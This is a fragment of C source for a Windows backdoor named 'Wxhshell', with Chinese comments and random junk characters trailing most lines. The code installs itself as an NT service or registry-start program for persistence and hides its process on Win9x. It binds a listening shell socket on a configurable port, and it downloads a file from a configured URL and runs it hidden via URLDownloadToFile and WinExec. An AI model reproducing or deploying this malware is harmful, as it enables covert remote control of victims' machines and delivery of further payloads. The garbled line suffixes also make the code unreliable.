ULONG InheritedFromUniqueProcessId; Enum/O5
} PROCESS_BASIC_INFORMATION; %4et&zRC
J^SdH&%Z
PROCNTQSIP NtQueryInformationProcess; a_f~N1kq
4|riKo)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E8$20Ue
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /Z'L^L%R
K|zZS%?$
HANDLE hProcess; 9K{%vK
PROCESS_BASIC_INFORMATION pbi; 47+&L
JtYP E?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IzikDc10
if(NULL == hInst ) return 0; )dbB=OZ
;oW6 NJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
mF*2#]%dx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0D\#Pq
v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }X)&zenz
,':fu
if (!NtQueryInformationProcess) return 0;
P5a4ze
Mo?~_|}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V58wU:li
if(!hProcess) return 0; *|%@6I(
=,spvy'"*C
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nAW:utTB
m0ER@BXRn
CloseHandle(hProcess); {o_X`rgrL
_=_Px@<Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,k )w6)
if(hProcess==NULL) return 0; U}yW<#$+
T!+5[
HMODULE hMod; b6nsg|
char procName[255]; }()5"QB
unsigned long cbNeeded; y"bByd|6
n0r+A^]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gd%NkxmW
q)X$^oE!6
CloseHandle(hProcess); OK[T3/v,
^t` k0<
if(strstr(procName,"services")) return 1; // 以服务启动 rI= v
be]bZ
1f
return 0; // 注册表启动 Tl(^
} F,W~,y
27
]':A4_
// 主模块 TSTl+W
int StartWxhshell(LPSTR lpCmdLine) ]zj9A]i:a
{ nKPYOY8^
SOCKET wsl; s)noo
BOOL val=TRUE; [~-9i&Z
int port=0; q)LMm7
struct sockaddr_in door; X 0WJBEE
|n+qMql'
if(wscfg.ws_autoins) Install(); sy:[T T!w
LJd5;so-
port=atoi(lpCmdLine); diJLZikk
c`J.Tm[_u
if(port<=0) port=wscfg.ws_port; 77C'*tt1]
o3Yb7h9
WSADATA data; .`HYA*8_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E27vR 7
W5EDVPur
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aoMqSwF=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Y9>8XSc
door.sin_family = AF_INET; *7CV^mDm
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :[wsKFaV+
door.sin_port = htons(port); +o\:d1y
ah+~y,Gl
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C7rNV0.Fq
closesocket(wsl); JJP08oP
return 1; S>h;K`
} 15%w 8u
'n{Nvt.c
if(listen(wsl,2) == INVALID_SOCKET) { +c(zo4nZ
closesocket(wsl); {@eJtF+2
return 1; `IP/d
} +]*zlE\N`
Wxhshell(wsl); VCY\be
WSACleanup(); 13 =A
[$qyF|/K`n
return 0; v25R_""~
7|{}\w(I
} ;nep5!s;<
"fG8?)d;
// 以NT服务方式启动 n!YKz"$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !TAlBkj
{ f%SZg!+t
DWORD status = 0; [b6R%
DWORD specificError = 0xfffffff; 1pt%Kw*@j
{K+icTL3
serviceStatus.dwServiceType = SERVICE_WIN32; (KFCs^x7wG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; C<NLE-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oC<.=2]
serviceStatus.dwWin32ExitCode = 0; g<l1zo`_
serviceStatus.dwServiceSpecificExitCode = 0; JSkLEa~<
serviceStatus.dwCheckPoint = 0; 9{RB{<Se!
serviceStatus.dwWaitHint = 0; }p}[j t
}=%oX}[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wr<j!>J6Ki
if (hServiceStatusHandle==0) return; G/b^|;41
#yI
mKEYX
status = GetLastError(); k9k XyX[
if (status!=NO_ERROR) p2ogn}`
{ SG6kud\b
serviceStatus.dwCurrentState = SERVICE_STOPPED; H<VTa? n
serviceStatus.dwCheckPoint = 0; _y),J'W^3u
serviceStatus.dwWaitHint = 0; tz5e"+Tz
serviceStatus.dwWin32ExitCode = status; O~T@rX9f
serviceStatus.dwServiceSpecificExitCode = specificError; k`So -e-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CLRiJ*U
return; ZIf
} 4 8:>NW
wLi4G@jJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3 jGWkby0
serviceStatus.dwCheckPoint = 0; Y'1S`.
serviceStatus.dwWaitHint = 0; rX4j*u2u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mkYqpD7
} Sm)Ha:[4
695V3R 7
// 处理NT服务事件,比如:启动、停止 ]"t@-PFX<
VOID WINAPI NTServiceHandler(DWORD fdwControl) x}_]A$nV
{ Zo|.1pN
switch(fdwControl) !ipR$ dM
{ =T-&j60
case SERVICE_CONTROL_STOP: |uX,5Q#6
serviceStatus.dwWin32ExitCode = 0; !j:9`XD|
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,I7E[LU
serviceStatus.dwCheckPoint = 0; 2/?`J
serviceStatus.dwWaitHint = 0; mR&H9NG
{ c#|raXGT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nH`Q#ZFz]?
} {t0)
q
return; q|j2MV5#g
case SERVICE_CONTROL_PAUSE: (a[y1{DLy
serviceStatus.dwCurrentState = SERVICE_PAUSED; _kj wFq
break; ur3(HL
case SERVICE_CONTROL_CONTINUE: S4'
serviceStatus.dwCurrentState = SERVICE_RUNNING; T;L>;E>B
break; (MR_^t
case SERVICE_CONTROL_INTERROGATE: zfc'=ODX
break; SW*"\X;
}; :ctu5{"UJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _oHNkKQ
} [#l*_0
MXw hxk#E
// 标准应用程序主函数 Q?nN!eT
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U*i{5/$
{ ;*Ivn@L
~tBYIkvWT
// 获取操作系统版本 {l>yi
OsIsNt=GetOsVer(); B.dH(um
GetModuleFileName(NULL,ExeFile,MAX_PATH); .ni_p 6!
%5eY'
// 从命令行安装 2>cGH7EBD
if(strpbrk(lpCmdLine,"iI")) Install(); 5MN8D COF
+?:7O=Y
// 下载执行文件 I,0q4
if(wscfg.ws_downexe) { JBi*P.79^
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V#XppYU
WinExec(wscfg.ws_filenam,SW_HIDE); ,{BaePMp
} b\3Oyp>
?98("T|y;
if(!OsIsNt) { ~rDZ?~%
// 如果时win9x,隐藏进程并且设置为注册表启动 AfX}y+Ah
HideProc(); ,u+PyG7 cb
StartWxhshell(lpCmdLine); Bk*F_>X"
} P0W*C6&71|
else *pSQU=dmS
if(StartFromService()) [3(74
// 以服务方式启动 +Af"f' )
StartServiceCtrlDispatcher(DispatchTable); n@C[@?D
else pimtiQqC
// 普通方式启动 AyNI$Q6Z
StartWxhshell(lpCmdLine); Oy%''+g
M-1ngI0H;
return 0; fz\9 S
}